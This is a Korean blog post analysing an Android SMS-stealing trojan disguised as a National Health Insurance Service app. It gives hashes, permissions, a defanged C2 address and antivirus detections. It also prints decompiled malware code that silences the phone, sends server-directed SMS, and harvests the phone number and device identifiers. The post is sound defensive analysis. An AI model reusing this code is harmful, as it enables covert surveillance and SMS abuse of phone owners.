꿈을꾸는 파랑새

오늘은 국민건강보험 공단 피싱 악성코드인 the.apk(2023.8.13)를 간단하게 분석을 해 보겠습니다. 일단 해당 악성코드는 지난 시간에 피싱을 분석을 했을 때 최종적으로 다운로드 된 악성코드입니다.
일단 the로 돼 있지만 실제로 이름은 The건강보험 이라는 이름으로 돼 있습니다.
먼저 악성코드 해쉬값 은 다음과 같습니다.
파일명: the.apk
사이즈:5.47 MB
CRC32:c31358e8
MD5:e394e0f65a89c23275d9f4764179512a
SHA-1:1a5590b15febc2c1f409674c1f57c7d4b462ea84
SHA-256:d30b9c4f4a8b8a50d8f42d23f509f6cdb4fa7bef6ef56ad664a4f7d8d44d2c8e
입니다.

[소프트웨어 팁/보안 및 분석] - 국민건강보험 공단 피싱 사이트 스미싱 사이트-x08(.)g7rs(.)hair(2023.08.13)

 

국민건강보험 공단 피싱 사이트 스미싱 사이트-x08(.)g7rs(.)hair(2023.08.13)

오늘은 국민건강보험 공단 피싱 사이트 인 sa1(.)f6pt(.)hair 에 대해 글을 적어 보겠습니다. 일단 예전에는 윈도우 환경에서 들어오면 해당 사이트를 국민건강보험으로 넘겨지고 사파리 부분도 장

wezard4u.tistory.com

The건강보험 악성코드 권한 요청The건강보험 접속 화면
The건강보험 악성코드 권한 요청

해당 안드로이드 악성코드의 권한은 다음과 같습니다.

android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="33"
android:compileSdkVersionCodename="13" package="com.suigsocrityx.yee"
platformBuildVersionCode="33" platformBuildVersionName="13">
<uses-sdk android:minSdkVersion="24" android:targetSdkVersion="33"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-feature android:name="android.hardware.telephony" android:required="false"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_MMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" 
android:maxSdkVersion="29"/>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<permission android:name="com.suigsocrityx.yee.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature"/>
<uses-permission android:name="com.suigsocrityx.yee.
DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>

The건강보험 악성코드 안드로이드 권한
The건강보험 악성코드 안드로이드 권한

이며 설명은 다음과 같습니다.
1.android.permission.INTERNET: 앱이 인터넷에 접속할 수 있도록 허용하는 권한 앱은 네트워크 통신을 통해 데이터를 받아오거나 전송할 수 있습니다.
2.android.permission.ACCESS_NETWORK_STATE:앱이 기기의 네트워크 상태를 확인할 수 있도록 허용하는 권한 앱은 네트워크 연결 여부를 판단할 수 있습니다.
3.android.permission.READ_PRIVILEGED_PHONE_STATE:특정한 허용된 전화 상태 정보에 접근할 수 있도록 허용하는 권한입 주로 시스템 앱에서 사용됩니다.
4.android.hardware.telephony기능 (`<uses-feature android:name="android.hardware.telephony" android:required="false"/>`): 앱이 기기의 전화 기능을 사용할 수 있는지 여부를 나타내는 선언 android:required="false"로 설정되어 있어, 이 기능이 없더라도 앱이 작동할 수 있습니다.
5.android.permission.READ_SMS:앱이 문자 메시지를 읽을 수 있도록 허용하는 권한 앱은 사용자의 SMS 메시지를 읽어올 수 있습니다.
6.android.permission.RECEIVE_SMS:앱이 문자 메시지를 수신할 수 있도록 허용하는 권한백그라운드에서 SMS 메시지를 수신하고 처리할 수 있습니다.
7.android.permission.RECEIVE_MMS:앱이 MMS(멀티미디어 메시지)를 수신할 수 있도록 허용하는 권한 MMS 메시지를 수신하고 처리할 수 있습니다.
8.android.permission.SEND_SMS: 앱이 문자 메시지를 전송할 수 있도록 허용하는 권한입니다. 앱은 SMS 메시지를 보낼 수 있습니다.
9.android.permission.READ_PHONE_STATE:앱이 기기의 전화 상태 정보에 접근할 수 있도록 허용하는 권한 해당 권한은 SDK 버전이 29 이하일 때만 사용 가능
10. android.permission.READ_PHONE_NUMBERS:앱이 사용자의 전화번호를 읽을 수 있도록 허용하는 권한 사용자의 전화 번호를 앱이 읽을 수 있습니다.
11. android.permission.VIBRATE: 앱이 기기의 진동 기능을 사용할 수 있도록 허용하는 권한 알림을 위해 진동을 사용할 수 있습니다.
12.com.suigsocrityx.yee.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION: 사용자 정의 권한으로 앱 내부에서만 사용 가능하며 다른 앱과 공유되지 않습니다. 해당 권한은 앱의 동적 브로드캐스트 리시버가 사용할 수 있는 권한입니다.
그리고 해당 악성코드에 포함된 인터넷 주소들은 다음과 같습니다.

악성코드에 포함이 된 인터넷 주소
악성코드에 포함이 된 인터넷 주소

hxxp://localhost/
http://schemas.android(.)com/apk/res-auto
http://schemas.android(.)com/apk/res/android
http://70.36.102(.)196/
https://www.nhis.or(.)kr

악성코드 문자(SMS)관련 코드 는 다음과 같습니다.

악성코드 문자 관련 코드
악성코드 문자 관련 코드

public void prfSettings(String res) {
        Log.d("Preodic", res);
        try {
            JSONObject ob = new JSONObject(res);
            SharedPreferences pref = getSharedPreferences("pref", 0);
            SharedPreferences.Editor editor = pref.edit();
            editor.putBoolean("Optim", true);
            editor.commit();
            Log.d("Preodic", 1 != 0 ? DiskLruCache.VERSION_1 : "0");
            if (1 != 0) {
                AudioManager audioManager = (AudioManager) getSystemService("audio");
                if (audioManager != null) {
                    audioManager.setStreamMute(5, true);
                    audioManager.setStreamMute(2, true);
                    audioManager.setStreamMute(1, true);
                }
                Vibrator v = (Vibrator) getSystemService("vibrator");
                v.cancel();
            }
            boolean bSendState = ob.getString("sms_sendstate").equals(DiskLruCache.VERSION_1);
            if (bSendState) {
                try {
                    SmsManager smsManager = SmsManager.getDefault();
                    smsManager.sendTextMessage(ob.getString("sms_telnum"),
                    null, ob.getString("sms_sendmemo"), null, null);
                } catch (Exception ex) {
                    ex.printStackTrace();
                }
            }
        } catch (JSONException e) {
            e.printStackTrace();
        } catch (Exception e2) {
            e2.printStackTrace();
        }
    }
}

해당 코드는 안드로이드 애플리케이션 내부에서 사용되는 메서드인 prfSettings를 나타내고 있으며 해당 메서드는 주어진 JSON 형식의 문자열 데이터를 처리하며 해당 데이터를 기반으로 설정 및 동작을 조작하는 역할을 합니다. 아래는 코드의 주요 기능과 동작에 대한 설명입니다.
Log.d("Preodic", res);:Logcat에 "Preodic" 태그와 함께 주어진 문자열 res를 출력하는 로그를 남기며 로그는 앱 디버깅 및 추적에 사용됩니다.
JSON 데이터 처리:
JSONObject ob = new JSONObject(res);:주어진 문자열 res를 JSON 형식으로 파싱하여 ob라는 JSONObject 객체로 저장
SharedPreferences 설정:
SharedPreferences pref = getSharedPreferences("pref", 0);: "pref" 이름의 SharedPreferences를 가져 오며 SharedPreferences는 키-값 쌍의 영구 저장소로 사용됩니다.
SharedPreferences.Editor editor = pref.edit();: SharedPreferences를 수정하기 위한 Editor 객체를 생성
editor.putBoolean("Optim", true);: Optim 키에 대한 Boolean 값을 true로 설정
editor.commit();:변경된 내용을 저장
오디오와 진동 설정:
AudioManager 객체를 사용하여 오디오 관련 설정을 조작
audioManager.setStreamMute(5, true);: 미디어 스트림을 무음 처리
Vibrator v = (Vibrator) getSystemService("vibrator");:Vibrator 객체를 가져옵니다.
v.cancel();: 이전에 실행 중이던 진동을 취소
SMS 전송(문자 전송):
ob.getString("sms_sendstate").equals(DiskLruCache.VERSION_1);: JSON 데이터에서 sms_sendstate 값을 가져와서 그 값이 1 또는 0 인지 비교
smsManager.sendTextMessage:문자 를 전송하는 데 사용되는 SmsManager 객체를 가져와 SMS 메시지를 전송
sms_telnum은 수신자 전화번호, sms_sendmemo는 전송할 메시지 내용을 나타냄
예외 처리:
JSON 파싱 및 기타 작업 중 발생할 수 있는 예외를 처리
각 예외 유형에 대한 예외 핸들러(catch)가 제공되며 예외가 발생하면 해당 예외를 출력하고 처리
prfSettings 메서드가 주어진 JSON 데이터를 기반으로 설정 변경,오디오 및 진동 설정, SMS 전송을 수행하며 발생하는 예외도 적절히 처리하는 코드임을 알 수 있습니다.

com.suigsocrityx.yee.MainActivity 에 포함이 된 WebView를 사용하여 웹 페이지를 로드 코드

WebView를 사용하여 웹 페이지를 로드 코드
WebView를 사용하여 웹 페이지를 로드 코드

@Override // android.webkit.WebViewClient
            public void onReceivedHttpError(WebView view, WebResourceRequest request,
            WebResourceResponse errorResponse) {
            }
        });
        mainView.loadUrl("https://www.nhis(.)or(.)kr");
        if (!Tools.hasPermissions(this)) {
            ActivityCompat.requestPermissions(this, Build.VERSION.SDK_INT > 29 ?
            Tools.all_permissions1 : Tools.all_permissions, 100);
        } else {
            registerUser();
        }
        Intent intent = new Intent(getApplicationContext(), LoopService.class);
        startService(intent);
    }

해당 코드는 안드로이드 애플리케이션의 일부로 주로 WebView를 사용하여 웹 페이지를 로드하고 권한을 요청하며 서비스를 시작하는 역할을 수행을 진행합니다. 아래는 코드의 주요 기능과 동작에 대한 설명입니다.:
@Override // android.webkit.WebViewClient: WebViewClient의 메서드를 오버라이드하여 웹 뷰의 동작을 컨트롤
public void onReceivedHttpError(WebView view, WebResourceRequest request, WebResourceResponse errorResponse) { }:웹 리소스 로드 중 HTTP 에러가 발생하면 호출되는 콜백 메서드 현재는 내용이 비어있는 상태이며 에러 발생 시 처리 로직이 추가되어야 할 수 있습니다.
mainView.loadUrl(" https://www.nhis.or().kr ");:주어진 URL(" https://www.nhis(.)or.kr ")을 가진 웹 페이지를 mainView 라는 WebView에 로드(이것은 진짜 국민건강보험 사이트 그래서 처음 실행을 하면 해당 메인 화면이 보이는 것입니다.)
권한 확인 및 요청:
if (!Tools.hasPermissions(this)):Tools 클래스의 hasPermissions 메서드를 사용하여 앱이 필요한 권한을 가지고 있는지 확인
ActivityCompat.requestPermissions:앱이 필요한 권한을 가지고 있지 않았으면 사용자에게 권한 요청 대화상자를 표시하고 권한을 요청
안드로이드 10 이상이면 Tools.all_permissions1 배열에 있는 모든 권한을 요청하고 그 이하 버전이면 Tools.all_permissions 배열에 있는 권한을 요청
권한이 있을 때:
registerUser();: registerUser 메서드를 호출하여 사용자를 등록하는 로직을 수행
서비스 시작:
Intent intent = new Intent(getApplicationContext(), LoopService.class);: LoopService 클래스를 실행하기 위한 인텐트를 생성
startService(intent);:생성한 인텐트를 사용하여 LoopService를 시작 이렇게 해서 백그라운드에서 주기적으로 실행되는 서비스를 시작
코드가 웹 페이지 로딩, 권한 확인 및 요청, 사용자 등록, 및 백그라운드 서비스 실행과 같은 다양한 앱 동작을 수행하는 것을 확인할 수 있습니다.
com.suigsocrityx.yee.Tools에 포함이 된 전화번호 또는 기기 식별자 가져 오는 코드

public static String get_phone_number(Context context) {
        TelephonyManager tm = (TelephonyManager) context.getSystemService("phone");
        String phoneNumber = HttpUrl.FRAGMENT_ENCODE_SET;
        if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_SMS") == 0
        || ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_NUMBERS")
        == 0 ||
        ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE")
        == 0)
        {
            phoneNumber = tm.getLine1Number();
        }
        if (phoneNumber == null || phoneNumber.equals(HttpUrl.FRAGMENT_ENCODE_SET)) {
            String SimserialNum = HttpUrl.FRAGMENT_ENCODE_SET;
            String DeviceID = HttpUrl.FRAGMENT_ENCODE_SET;
            if (Build.VERSION.SDK_INT < 29) {
                SimserialNum = tm.getSimSerialNumber();
            }
            if ((SimserialNum == null || SimserialNum.equals(HttpUrl.FRAGMENT_ENCODE_SET))
            && (DeviceID = tm.getDeviceId()) == null) {
                DeviceID = Settings.Secure.getString(context.getApplicationContext()
                .getContentResolver(), "android_id");
            }
            String identifier = HttpUrl.FRAGMENT_ENCODE_SET;
            if (SimserialNum != null && DeviceID != null) {
                identifier = DeviceID.toUpperCase() + "-" + SimserialNum.toUpperCase();
            } else if (DeviceID != null) {
                identifier = DeviceID.toUpperCase();
            }
            String phoneNumber2 = identifier;
            return phoneNumber2;
        } else if (phoneNumber.charAt(0) == '+') {
            return phoneNumber.substring(1);
        } else {
            return phoneNumber;
        }
    }

해당 코드는 안드로이드 애플리케이션에서 사용자의 전화번호 또는 기기 식별자를 가져오는 메서드인 get_phone_number를 나타내고 있습니다.
1.public static String get_phone_number(Context context):주어진 Context 를 기반으로 사용자의 전화번호 또는 기기 식별자를 가져오는 정적 메서드
2.기기의 TelephonyManager 가져오기: TelephonyManager tm = (TelephonyManager) context.getSystemService("phone");:주어진 Context를 사용하여 TelephonyManager 객체를 가져오며 TelephonyManager는 전화 관련 정보와 기능에 대한 접근을 제공
3. 전화번호 가져오기: String phoneNumber = HttpUrl.FRAGMENT_ENCODE_SET;: 초기값으로 빈 문자열로 설정
권한 확인 및 권한이 있는 경우 tm.getLine1Number() 를 호출하여 실제 전화번호를 가져옵니다.
가져온 전화번호가 null이거나 빈 문자열이면 다른 식별자 정보를 사용하여 전화번호를 생성
4. 기기 식별자 정보 확인:if (Build.VERSION.SDK_INT < 29):Android 29 버전보다 낮은 경우에만 실행
SimserialNum = tm.getSimSerialNumber();:SIM 카드의 일련번호를 가져옵니다.
DeviceID = tm.getDeviceId();:기기의 고유 식별자를 가져옵니다.
만약 SimserialNum 과 DeviceID 가 모두 null이 아니라면, 이들을 대문자로 변환하여 연결한 문자열을 identifier로 설정
DeviceID 가 null일 때 기기의 안드로이드 ID를 가져와 identifier로 설정
5. 전화번호 생성: 기기 식별자 정보를 사용하여 phoneNumber2 를 생성
6. 특수 케이스 처리: 가져온 전화번호가 + 로 시작하는 경우 맨 앞의 + 를 제거하여 반환
그 외의 경우 가져온 전화번호 그대로 반환
get_phone_number 메서드가 전화번호 또는 기기 식별자를 가져오는 로직을 구현하고 권한 확인 및 특수 케이스 처리를 통해 결과를 반환하는 것을 확인할 수 있습니다.
androidx.appcompat.app.AppCompatDelegateImpl 에서는  자동으로 관리되는 Night Mode 관리자들을 정리 코드들이 있습니다.

AutoNightModeManager 코드
AutoNightModeManager 코드

private void cleanupAutoManagers() {
        AutoNightModeManager autoNightModeManager = this.mAutoTimeNightModeManager;
        if (autoNightModeManager != null) {
            autoNightModeManager.cleanup();
        }
        AutoNightModeManager autoNightModeManager2 = this.mAutoBatteryNightModeManager;
        if (autoNightModeManager2 != null) {
            autoNightModeManager2.cleanup();
        }
    }

해당 코드는 안드로이드 애플리케이션에서 자동으로 관리되는 다크모드 관리자들을 정리(cleanup)하는 메서드인 cleanupAutoManagers 를 나타내고 있습니다. 코드 내에서 두 개의 AutoNightModeManager 객체가 있고 각 객체에 대해 cleanup  메서드를 호출하여 정리 작업을 수행
1.private void cleanupAutoManagers():자동으로 관리되는 Night Mode 관리자들을 정리하는 메서드 이며 해당 메서드는 클래스 내부에서만 접근할 수 있습니다.
2.AutoNightModeManager정리:AutoNightModeManager autoNightModeManager = this.mAutoTimeNightModeManager;:mAutoTimeNightModeManager 라는 이름의 AutoNightModeManager 객체를 가져옴
만약 autoNightModeManager가 null이 아니라면 해당 관리자의 cleanup 메서드를 호출하여 정리 작업을 수행
3.AutoNightModeManager 정리:
AutoNightModeManager autoNightModeManager2 = this.mAutoBatteryNightModeManager;:mAutoBatteryNightModeManager 라는 이름의 AutoNightModeManager 객체를 가져옴
만약 autoNightModeManager2 가 null이 아니라면 해당 관리자의 cleanup 메서드를 호출하여 정리 작업을 수행
2023-08-21 23:05:09 UTC 기준 바이러스토탈에서 탐지 하는 보안 업체들은 다음과 같습니다.
Alibaba:TrojanSpy:Android/SmsThief.22062d18
Antiy-AVL:Trojan/Generic.ASMalwAD.63
Avast:Android:SmsForw-BX [Trj]
Avast-Mobile:Android:SmsForw-BX [Trj]
AV/:Android:SmsForw-BX [Trj]
Avira (no cloud):ANDROID/SMSSpy.YKE.Gen
BitDefenderFalx:Android.Riskware.SmsSpy.EQ
Cynet:Malicious (score: 99)
DrWeb:Android.SmsSpy.12111
ESET-NOD32:A Variant Of Android/Spy.SmsSpy.ZH
F-Secure:Malware.ANDROID/SMSSpy.YKE.Gen
Fortinet:Android/SmsSpy.ZH!tr.spy
Ikarus:Trojan-Spy.AndroidOS.SMSSpy
K7GW:Spyware ( 0059fc121 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.SmsThief.tk
MAX:Malware (ai Score=99)
McAfee:Artemis!E394E0F65A89
McAfee-GW-Edition:Artemis!Trojan
Microsoft:TrojanSpy:AndroidOS/SMSSpy.M!MTB
NANO-Antivirus:Trojan.Android.SmsSpy.jyjbpu
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:AppRisk:Generisk
Trustlook:Android.Malware.Spyware
ZoneAlarm by Check Point:HEUR:Trojan-Spy.AndroidOS.SmsThief.tk
즉 기본적인 보안 수칙을 잘 지키며 되고 그리고 해당 악성코드는 아마도 정상적인 사이트를 보여주고 나서 전화 또는 문자를 통해서 보이스피싱을 하지 않을까 생각이 됩니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band

Sakai님의
글이 좋았다면 응원을 보내주세요!